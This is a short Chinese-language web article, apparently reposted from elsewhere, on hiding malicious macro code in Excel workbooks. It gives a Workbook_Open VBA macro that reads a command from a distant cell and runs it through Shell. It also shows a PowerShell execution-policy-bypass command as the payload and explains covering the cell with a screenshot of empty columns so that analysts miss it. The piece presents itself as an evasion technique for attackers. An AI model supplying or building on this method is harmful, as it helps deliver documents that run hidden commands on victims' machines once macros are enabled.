加入收藏 | 设为首页 | 会员中心 | 我要投稿 开发网_开封站长网 (http://www.0378zz.com/)- 科技、AI行业应用、媒体智能、低代码、办公协同!
当前位置: 首页 > 服务器 > 安全 > 正文

怎样在Excel中更好地隐藏恶意宏代码

发布时间:2022-08-04 10:12:25 所属栏目:安全 来源:互联网
导读:你可能会问,为什么不简单地使用实际上不涉及工作簿的代码,以及主要原因是避免网络流量。当然,你可以简单地添加宏,这些宏会将每行代码添加到一个新文件中,以避免网络流量,但是这样做会使活动对于任何分析文档的人来说都是显而易见的,他们会在查看时立
   你可能会问,为什么不简单地使用实际上不涉及工作簿的代码,以及主要原因是避免网络流量。当然,你可以简单地添加宏,这些宏会将每行代码添加到一个新文件中,以避免网络流量,但是这样做会使活动对于任何分析文档的人来说都是显而易见的,他们会在查看时立即看到新的代码行宏。使用这种方法,它使得对恶意文档的分析稍微困难一些,但是当然不是很多。

  显然,更有耐心的人可以完善空列的屏幕截图,并将其覆盖在代码顶部以使其不那么引人注意。揭示从工作表中提取的代码的另一种方法是使用MsgBox:
 
  1. 一组要覆盖在代码顶部的空列的屏幕截图,
 
  2. 从工作簿中提取代码并运行数据的宏
 
  复制
  Private Sub Workbook_Open()
  Data = Sheet1.Range("BG1")
  Shell(Data)
  End Sub

  Data = Sheet1.Range("BG1")仅查看位于BG1的行,提取该行中的所有内容并将其放在变量Data中。
 
  3. 打开文档并在用户单击“启用内容”后将提取并执行的代码。
 
  复制
  powershell.exe -exec bypass -C echo "Hello world" > C:UsersDesktopConductDesktoptest.txt

  将代码插入所需的任何列后,只需将空列的图像插入代码上方(插入>插图>图片)。
 
  然后将宏插入ThisWorkbook并更改Range()部分以与你的列匹配。因此,如果你将数据插入A列并且位于第一行,它就是Range("A1")。
 
  向文件写入多行只是小菜一碟,只需要添加几行代码即可。

(编辑:开发网_开封站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    热点阅读